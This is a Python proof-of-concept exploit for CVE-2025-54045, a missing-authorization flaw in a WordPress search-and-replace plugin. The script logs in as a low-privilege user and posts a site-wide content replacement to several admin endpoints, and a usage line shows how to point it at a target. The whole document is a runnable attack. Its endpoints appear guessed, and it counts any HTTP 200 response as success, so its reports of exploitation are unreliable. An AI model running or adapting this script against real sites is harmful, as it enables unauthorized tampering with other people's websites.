CVE-2025-54045

# CVE-2025-54045 PoC - Missing Authorization in CM On Demand Search And Replace # This PoC demonstrates the broken access control vulnerability import requests import sys def exploit_cve_2025_54045(target_url, username, password): """ Exploit for Missing Authorization vulnerability in CM On Demand Search And Replace plugin Target: WordPress site with vulnerable CM On Demand Search And Replace plugin <= 1.5.5 """ # Setup session session = requests.Session() # Step 1: Login with low-privilege user (subscriber/contributor) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Attempting to login with low-privilege account...") response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit the missing authorization - access admin functions # Plugin endpoint that should require admin privileges exploit_endpoints = [ '/wp-admin/admin-ajax.php?action=cm_search_replace_admin', '/wp-admin/admin-ajax.php?action=cm_demand_search_replace', '/wp-content/plugins/cm-on-demand-search-and-replace/includes/api.php' ] exploit_data = { 'operation': 'search_replace', 'search': 'original_content', 'replace': 'malicious_content', 'scope': 'all_posts' } print("[*] Attempting to exploit missing authorization...") for endpoint in exploit_endpoints: try: response = session.post( f"{target_url}{endpoint}", data=exploit_data, timeout=10 ) # Check if exploitation was successful if response.status_code == 200: print(f"[+] Potential exploitation at: {endpoint}") print(f"[*] Response: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") continue print("[-] Exploitation may have failed or plugin not vulnerable") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-54045.py <target_url> <username> <password>") print("Example: python cve-2025-54045.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_54045(target, user, pwd)

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